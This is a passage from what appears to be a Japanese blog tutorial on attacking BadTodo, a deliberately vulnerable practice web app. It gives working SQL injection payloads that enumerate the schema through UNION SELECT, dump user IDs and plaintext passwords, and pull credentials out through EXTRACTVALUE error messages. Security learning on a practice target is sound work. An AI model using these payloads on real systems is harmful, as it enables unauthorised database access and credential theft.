やられアプリ BadTodo - 3.4 SQLインジェクション ID・パスワードの取得

前回:やられアプリ BadTodo - 3.3 SQLインジェクション DB情報の取得 - demandosigno

テーブル一覧の表示

前回、データベースの一覧は次の通りと分かりました。
・information_schema
・mysql
・sys
・todo
・performance_schema
この中でBadTodo自体のデータを扱っている todoについて見ていきます。

(補足:現在のクエリ(検索Boxでの検索)がどのデータベースを見ているかの確認)
' UNION SELECT null,null,database(),null,null,null,null,null,null,null#

todoに存在するテーブル一覧(TABLE_NAME)の確認。前回と同様にSQL文を組み立てます。
' UNION SELECT NULL, NULL, TABLE_NAME, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='todo'#

テーブル一覧が出ました。
usersにユーザー情報、todosにTodoリスト情報が入っていそうですので、usersの方を見ていきます。

カラム一覧の表示

usersテーブルに存在するカラム一覧(COLUMN_NAME)を表示します。今回は型(DATA_TYPE)も表示してみました。
' UNION SELECT NULL, NULL, COLUMN_NAME, DATA_TYPE, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'#

この内、USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONSは接続に関する統計情報を提供するカラムですので今回は使いません。

ユーザ名・パスワードの表示

userid や pwd といったカラム名称が分かりましたので、後は表示するだけです。
' UNION SELECT NULL, NULL, id, userid, pwd, email, icon, super, NULL, NULL FROM todo.users#

「完了」列にアイコンのファイル名が入るため「真」値として「完」と表示され、「todo」列に打消し線が引かれていますが内容としては十分です。

アプリケーションの作りとしてはパスワード値が生で保存されているので問題ありです。通例であればハッシュ化して保存されていることが多いです。

エラーメッセージに情報を埋め込む(XPath インジェクション)

MySQLのextractvalue関数を使いXPATHのエラーを起こし、サブクエリの結果をCONCATで展開して目的の文字列を取得する。
' AND EXTRACTVALUE(0,(SELECT CONCAT('$',userid,':',pwd) FROM users LIMIT 0,1))#
エラーメッセージの中で userid と pass が取得できています。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.12 XML 関数
「UNION SELECT」は脆弱性のあるSQL文がSELECT文である必要があり2つの表を合体させて表示しますが、元のSQL文がDELETE FROMである場合や、そもそも情報を表示する機能が無い場合に使えます。

「安全なWebアプリケーションの作り方 第2版 p.154」や徳丸さんの日記も参考にしてください。
ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
MySQLのエラーメッセージ - teracc’s blog

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

mysql> SELECT CONCAT('My', 'S', 'QL');
    -> 'MySQL'
mysql> SELECT CONCAT('My', NULL, 'QL');
    -> NULL
mysql> SELECT CONCAT(14.3);
    -> '14.3'

引用符で囲まれた文字列では、文字列を並べて配置することで連結が実行されます。

次回:やられアプリ BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除 - demandosigno

/* -----codeの行番号----- */